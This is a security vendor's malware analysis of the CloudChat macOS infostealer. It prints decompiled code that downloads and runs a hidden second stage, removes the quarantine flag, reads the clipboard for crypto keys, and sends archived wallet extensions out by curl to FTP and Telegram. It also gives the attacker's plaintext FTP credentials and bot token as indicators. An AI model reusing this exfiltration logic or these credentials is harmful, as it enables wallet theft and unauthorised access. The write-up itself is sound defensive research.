CloudChat Infostealer: How It Works, What It Does
On April 3, 2024, we came across an undetected file that had been uploaded to the online virus-checker VirusTotal that day named Clip. Right off the bat, we noticed that the file had some red flags that warranted further investigation.
Most notably, readable strings in the file referenced Chrome crypto wallet extensions. This is common in infostealers such as Amos, which look to steal wallets and other valuable information from infected victims. Another red flag: It referenced uploading a file via FTP to 45.77.179.89/upload/
; legitimate applications don’t normally use FTP for file transfers.
We were able to grab the file’s DMG— CloudChat.dmg—from VirusTotal. CloudChat’s website says it's a messaging platform that “provides you with a safe social life service...chat with friends around the world and share your unique and interesting perspectives...use pictures and videos to share your life in the circle of friends or the world...let the world applaud you without worrying about privacy being leaked.”
CloudChat’s website has download links for different platform versions of its app. We downloaded the macOS version to compare it with the one we found on VirusTotal. The two files had matching sha256 hashes. The codesign
information for the main CloudChat Mach-O file showed that it was signed ad-hoc and was compiled for x86_64.
Analyzing the Application
Preparing to Download
We mounted the DMG and transferred the CloudChat app bundle to our /Applications folder. When we launched that app, we observed the CloudChat binary running ps -ef
, which appears to be looking for the file .Safari_V8_config; this check originates from the linked libCloudchat.dylib.
0024fb26 commandStruct, rsi, rdi = _os/exec.Command(1, 1, &_"-ef", &var_18, &_"ps", 2, arg3)
0024fb2b char* commandOutput
0024fb2b int64_t rdx
0024fb2b int64_t rsi_1
0024fb2b int64_t* rdi_1
0024fb2b commandOutput, rdx, rsi_1, rdi_1 = _os/exec.(*Cmd).Output(rdi, rsi, commandStruct, arg3)
0024fb33 if (rdi_1 == 0)
0024fb48 void var_38
0024fb48 char* rax_2
0024fb48 int16_t* rdx_1
0024fb48 int128_t* rsi_2
0024fb48 rax_2, rdx_1, rsi_2 = _runtime.slicebytetostring(rdi_1, rsi_1, rdx, &nullptr->magic:2, &var_38, commandOutput, arg3)
0024fb61 void* rax_3 // .Safari_V8_configre
0024fb61 rax_3.b = _strings.Index(&nullptr->ncmds:1, rsi_2, rdx_1, ".Safari_V8_configre", rax_2, commandOutput, arg3) s>= 0
0024fb69 return rax_3
The output of the ps -ef
command is then parsed, using the strings.Index
function, to look for the string .Safari_V8_configure
. If that process is not running, the CloudChat binary will then also curl http://ip-api.com/json
, to check the geolocation of the current host IP.
If the IP is located in China, the downloading will stop. This IP check is handled inside the main.init
function:
0024fa00 rax, rcx_1, rsi_2, rdi_2 = _main.getIPInfo(rdi_1, rsi_1, arg2, zmm15)
0024fa20 if (rcx_1 == 0 && (arg1 != 5 || (arg1 == 5 && *rax != 'Chin') || (arg1 == 5 && *rax == 'Chin' && *(rax + 4) != 'a')))
Inside the get.IPInfo
function, we see the ip-api url
passed as a string to the _net/http.(*Client).Get
function.
0024fc00 rax_2, rcx, zmm15_1 = _net/http.(*Client).Get(rdi, rsi, rdx, 0x16, rax_1, "http://ip-api.com/json", arg3)
0024fc77 var_48.q = *rax
0024fc7c var_48:8.q = *(rax + 8)
0024fc81 var_58.q = "http://ip-api.com/json”"
0024fc86 var_58:8.q = rcx
0024fca3 return var_48.q {"__TEXT"}
Downloading and Executing
If the IP is not located in China, the app will download a file called clip from 45.77.179.89/static and rename it .Safari_V8_config. First, it will construct the download destination by calling the user.current
function, extract the Home directory from the user structure, and concatenate the string .Safari_V8_config
.
0024fa26 int128_t* userStruct = _os/user.Current(rdi_2, rsi_2, arg2)
0024fa2e int64_t userHomeDir
0024fa2e int64_t r10_1
0024fa2e if (arg1 == 0)
0024fa37 userHomeDir = userStruct[4].q
0024fa3b r10_1 = *(userStruct + 0x48)
0024fa2e else
0024fa30 r10_1 = 0
0024fa33 userHomeDir = 0
0024fa60 void* downloadPath
0024fa60 int64_t rdx_1
0024fa60 void* rbx_1
0024fa60 int64_t rsi_3
0024fa60 downloadPath, rdx_1, rbx_1, rsi_3 = _runtime.concatstring3(&_/, 1, userHomeDir, r10_1, ".Safari_V8_config", 0x11, userHomeDir, arg2)
This concatenated string path is then passed to the main.downloadFile()
function, which will reach out to the IP address and download a file called Clip.
If that download is successful, the binary is renamed .Safari_V8_config, to hide it. Its permissions are changed with os.chmod()
function. The quarantine flag is also removed with xattr -d com.apple.quarantine
. That done, the file is executed using the main.executeFileInBackground()
function.
0024fa81 downloadResult = _main.downloadFile(rbx_1, rsi_3, rdx_1, downloadPath, "http://45.77.179.89/static/clip", 0x1f, arg2)
0024fa89 if (downloadResult == 0)
0024fa9a int64_t rsi_4
0024fa9a int64_t rdi_4
0024fa9a downloadResult, rsi_4, rdi_4 = _os.chmod(downloadPath, rbx_1, arg2)
0024faa3 if (downloadResult == 0)
0024faaf downloadResult = _main.executeFileInBackground(rdi_4, rsi_4, downloadPath, rbx_1, arg2)
Execution of xattr
and the downloaded file are both handled by the executeFileInBackground()
function.
002501f9 var_38:8.q = 2
00250209 var_38.q = &data_250bc8 // -d
0025020e var_28:8.q = 0x14
0025021e var_28.q = "com.apple.quarantine"
00250228 var_18:8.q = arg4
00250232 var_18.q = downloadPath
0025026b int64_t* xattrCommand = _os/exec.Command(0, 0, _os/exec.(*Cmd).Run(_os/exec.Command(3, 3, arg4, &var_38, "xattr", 5, arg5), arg5), nullptr, downloadPath, arg4, arg5)
Communicating
The .Safari_V8_config Mach-O is a hidden file created in the Users directory. The file is actually the same as the original file Clip that we found on VirusTotal.
It gathers the host and user information and uses a Telegram bot API token to send the hostname and its OS version along with a message that the machine is on.
This is handled inside the main.executeOnce
function. Using the main.getHostnameAndUsername
function, it uses the concatstring4
function to prepare the message for communication via Telegram.
011007af hostname_1, username_1, rdx, rdi = _main.getHostnameAndUsername(arg4)
011007f2 int128_t* rax_1
011007f2 int64_t rdx_1
011007f2 int64_t* rbx
011007f2 int64_t rsi_1
011007f2 int128_t zmm15
011007f2 rax_1, rdx_1, rbx, rsi_1, zmm15 = _runtime.concatstring4(hostname_1, arg3, rdx, 0x10, &_-, 1, &Machine online:, username_1, rdi, arg4)
To actually send a notification post to Telegram, it runs the fmt.Sprintf
function to replace a template with the values captured from the target machine.
01101e80 rax_6, rdx_4, _"-c"_1 = _fmt.Sprintf(3, 3, rdx_3, &var_60, &curl -m %d -s -X POST -H.../api.telegram.org/bot%s/sendMessage\', 0x6e, arg7)
01101e85 int128_t _"-c" = _"-c"_1
01101e8b int128_t _"-c"_2 = _"-c"_1
01101e91 _"-c":8.q = 2
01101ea1 _"-c".q = &_-c
01101ea6 _"-c"_2:8.q = 0x6e
01101eab _"-c"_2.q = rax_6
01101ecc int64_t rdx_5
01101ecc int64_t rsi_3
01101ecc rdx_5, rsi_3 = _os/exec.(*Cmd).Run(_os/exec.Command(2, 2, rdx_4, &_"-c", &sh, 2, arg7), arg7)
Looking for Crypto Keys
From here, .Safari_V8_config takes over and starts to use pbpaste
to look for potential crypto private keys being copied to the clipboard. If it thinks it has found such a key, it will upload it to the same Telegram bot.
This search is handled by the monitorClipboard
function. It uses the clipboard.readAll()
function to obtain clipboard contents in a while
loop, which sleeps after execution. It then branches to the main.isValidPrivateKey()
function.
01100660 while (true)
01100660 void* clipboardContents_1
01100660 int64_t rdx
01100660 int64_t rsi_1
01100660 clipboardContents_1, rcx_4, rsi_1, rdi_4 = _github.com/atotto/clipboard.readAll(rdi, rsi, rdx, arg2)
01100665 cond:0_1 = rcx_4 == 0
The main.isValidPrivateKey()
function returns a Boolean value that communicates whether or not it observes a crypto private key matching some regex statements.
01101a98 int128_t* bitCoinPrivateKey = _regexp.MustCompile(&_^0x[0-9a-fA-F]{64}$, 0x13, arg3)
01101aae int128_t* var_20 = _regexp.MustCompile(&_^[0-9a-fA-F]{64}$, 0x11, arg3)
01101ac0 int128_t* rax_2
01101ac0 int128_t zmm15
01101ac0 rax_2, zmm15 = _regexp.MustCompile(&_^[0-9a-zA-Z]{52}$, 0x11, arg3)
This queries for three different private keys:
- Bitcoin
- Tron
- Ethereum
Looking for Chrome Wallet Plugins
As we mentioned, the binary contains a list of popular Google Chrome crypto wallet extensions. If it determines you have one installed, it will copy the extension folder to a folder in the temp directory.
This is handled by first creating a target to the Chrome directory inside the executeOnce
function.
011008ec userHomeDir, rdx_3, rsi_3, rdi_3, userHome_1 = _os.Getenv(rdi_2, rsi_2, "HOME", 4, arg4)
011008f1 int128_t userHome = userHome_1
011008fa int128_t userHome_2 = userHome_1
01100903 userHome:8.q = 4
0110090b userHome.q = userHomeDir
01100913 userHome_2:8.q = 0x2a
01100926 userHome_2.q = "Library/Application Support/Google/Chrome/"
01100940 int64_t ChromeTargetDir
01100940 int64_t rdx_4
01100940 ChromeTargetDir, rdx_4 = _path/filepath.join(rdi_3, rsi_3, rdx_3, 2, &userHome, 2, arg4)
Once it builds the path to the user’s Chrome directory, it passes this path to the copyAndCompressWalletPlugins
function.
The binary targets the profiles stored in ~/Library/Application Support/Google/Chrome/, looking for a match of the string “Default” and then targets the Extensions directory within.
01100c1a if (ProfileDir s>= 7)
01100c22 // "Profile"
01100c22 ProfileDir = "Profile")
01100c1a else
01100c1c rax_6 = 0
01100c35 if (rax_6 != 0)
01100c37 rdx_2 = true
01100c35 else
01100c4f int32_t* rax_8 = (*(rcx_1 + 0x30))()
01100c65 if (ProfileDir != 7 || (ProfileDir == 7 && *rax_8 != 'Defa') || (ProfileDir == 7 && *rax_8 == 'Defa' && rax_8[1].w != 'ul'))
01100c70 rdx_2 = false
01100c65 if (ProfileDir == 7 && *rax_8 == 'Defa' && rax_8[1].w == 'ul')
01100c6b rdx_2 = *(rax_8 + 6) == 't'
From there, it archives the files it finds with tar
before using curl
to upload that archive to an FTP server. This is handled inside the main.compressLogsdata
function. First, it creates a path for tar
:
01101330 tarPath, zmm15_1 = _fmt.Sprintf(2, 2, rdx, &var_30, &_/tmp/%s-%s.tar.gz, 0x11, arg7)
0110133d int64_t var_a8 = 0x11
Then it executes the tar
command.
return _os/exec.(*Cmd).Run(_os/exec.Command(5, 5, rdx_2, &tar Arg, "tar”)
Once the collected files have been archived, a path to this archive file is passed to the uploadLogsdata
function. This creates the curl
command and uploads the archived plugins to an FTP server, and sends a notification to the Telegram chat.
01101702 char* const var_20 = &data_11071a0 // FTP://45.77.179.89/upload/
0110172b void* rax_11
0110172b int64_t rdx_3
0110172b int128_t zmm15_2
0110172b rax_11, rdx_3, zmm15_2 = _os/exec.(*Cmd).Run(_os/exec.Command(6, 6, rdx_2, &_-T, "curl", 4, arg9), arg9)
Using the sendTelegramNotification function, which leverages the Telegram APIs, the result message is created and sent to the Telegram chat
01101900 uploadString, rdx_4, rsi, zmm15_4 = _fmt.Sprintf(3, 3, rdx_6, &var_a0, "%s-%s, uploaded successfully for plugins: %s", 0x2c, arg9)
01101911 int128_t zmm15_5 = _main.sendTelegramNotification(0xa, rsi, rdx_4, &_7029439043, uploadString, 0x2c, arg9, zmm15_4)
We can see this communication by looking at executed processes.
CloudChat Infostealer: The Exploit Evolves
When we first began analyzing CloudChat, .Safari_V8_config was the only file it downloaded. However, after a few days, a new version appeared, which downloaded another file, .applications_config, which is hidden in the same directory as .Safari_V8_config.
The file .applications_config runs the command uname -s -r -m
. This is used to grab the machine hardware name, OS system release, and OS system name.
After leaving the process running for close to an hour, we observed some new activity, in which .applications_config was executing the command ls -la
on the /Desktop and /Downloads folders. Adding the flags -la
to the ls
command provides detailed information such as permissions, number of links, owner, group, file size, and modification date about the files in a directory. It will also display files that are normally hidden. There was also another curl of a different IP geolocation website, ipinfo.(.)io, which was different from the one used at the very beginning when CloudChat first executed.
We then observed curl
uploading a hidden copy of the applications_config file that we had copied earlier from its original path to the desktop. The upload was directed at the domain bashuploads(.)com. Interestingly, the upload occurred twice, and the first time the URL was misspelled (bashuopload(.)com). This seemingly human typo could indicate some sort of hands-on keyboard functionality.
The website bashupload(.).com states it is used to “upload files from command line to easily share between servers.” This is strange because the malware already had the infrastructure necessary to upload the wallet extension files.
After observing this last activity, the server at 45.77.179.89, which had been used for uploads and downloads, stopped functioning. A quick nmap
query showed that the server was down. When running the malware again, it would attempt to download the first stage but couldn’t, which stopped any further activity. The malware is still completely undetected on VirusTotal at the time of writing.
CloudChat Infostealer: Digging Deeper
Looking at the FTP command used to upload the wallet extension files, we noticed that the username “mars” and the password “LnW4BhIdjOsVZzK0” both appeared in plaintext. We were able to connect to the FTP server and establish that it was in passive mode. Either we were able to see only the single file uploaded from our machine, or the username and password are unique.
SSH was also open on the server. The same username and password allowed us to connect briefly, before we were kicked off with a message stating that we were permitted to use FTP only.
The Telegram bot API token is also interesting: With it, we could receive information about the bot, such as its name and the username “bwa1e3”. We also found, from the getChat
command, a user named “Jennifer Walker” and their username “Jenniferaaa”. More than likely, this is a fake name being used by the real user receiving these bot messages.
When we killed the CloudChat process, the .Safari_V8_config and .application_config processes continued to run. Relaunching CloudChat did not relaunch Safari_V8_config, probably due to the command ps -ef being run to check on running processes.
Due to the nature of this malware, this is an ongoing analysis, and we will update this post with any additional relevant information that we uncover.
CloudChat Infostealer: Indicators of Compromise
Files (Sha256)
- Ef1c7d6651996a3dccee755630add52c3f04a6e474ad15a999e132cafbf83f18: Clip/.Safari_V8_config
- Db3ec2bb2a18289b67cd15598b1bcf80e5712c927c90f0d9c55c728a99789162: Clip/.Safari_V8_config
- F63dd41f2e7d24637b4aad89cdece0c011a3b8082a46f97642df85f9a28c72f6: .applications_config
- 463af62034c5a05ab3cf2eba09e36955328028b62ba9ee894cdd8e50e2d1af81: CloudChat.dmg
URLs
- FTP://45.77.179.89/upload/
- http://45.77.179.89/static/clipa
- http://45.77.179.89/static/application_config
- https://api.telegram.org/bot7069293498:AAGH47J19fkbGT-56jkgWtvMCYRZpQxePwE/sendMessage
About Kandji
Kandji is the Apple device management and security platform that empowers secure and productive global work. With Kandji, Apple devices transform themselves into enterprise-ready endpoints, with all the right apps, settings, and security systems in place. Through advanced automation and thoughtful experiences, we’re bringing much-needed harmony to the way IT, InfoSec, and Apple device users work today and tomorrow.
See Kandji in Action
Experience Apple device management and security that actually gives you back your time.
See Kandji in Action
Experience Apple device management and security that actually gives you back your time.